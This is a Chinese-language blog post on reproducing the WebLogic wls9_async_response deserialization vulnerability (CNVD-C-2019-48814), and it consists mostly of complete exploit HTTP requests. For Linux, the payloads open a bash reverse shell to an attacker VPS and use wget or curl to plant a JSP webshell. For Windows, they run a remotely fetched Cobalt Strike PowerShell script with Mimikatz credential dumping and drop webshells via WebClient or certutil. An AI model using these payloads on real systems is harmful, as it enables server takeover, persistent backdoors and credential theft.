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CNVD-C-2019-48814 Weblogic wls9_async_response 反序列

2019年04月25日 实用工具 暂无评论 阅读 4,429 views 次

复现环境

  • 1 Kali2019\Win10(关闭安全中心实时防护下)
  • 2 Weblogic10.3.6(wls1036_generic.jar)

漏洞组件

bea_wls9_async_response.war

漏洞路径

http://ip:port/_async/AsyncResponseService

漏洞确认

访问漏洞路径存在以下页面，即有可能存在漏洞
5350990-0b720f2f63eae957.png

漏洞利用(所有利用都需要被攻击机能够访问公网)

1.Linux下

  • 1 反弹shell
    使用如下报文即可
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

5350990-4acf7d262df33f26.png

  • 2 上传webshell
1.放置一个webshell.txt到公网
2.使用以下报文 任选其一

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3.访问webshell

http://ip:port/_async/webshell.jsp

5350990-75ede0ba1e249ed7.png

2.Win下

  • 1 反弹shell
    可直接使用CobaltStrike生成一个payload.ps1 powershell脚本，将该脚本放到公网上，然后使用如下报文即可
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

5350990-d9e5801adf02295d.png

  • 2 上传webshell
1.放置一个webshell.txt到公网
2.使用以下报文 任选其一均可

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3.访问webshell

http://ip:port/_async/webshell.jsp
5350990-2e930563658277af.png

(注：上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径，如果路径修改，可以配合反弹shell进行获取)

 

原文链接：https://bithack.io/forum/152

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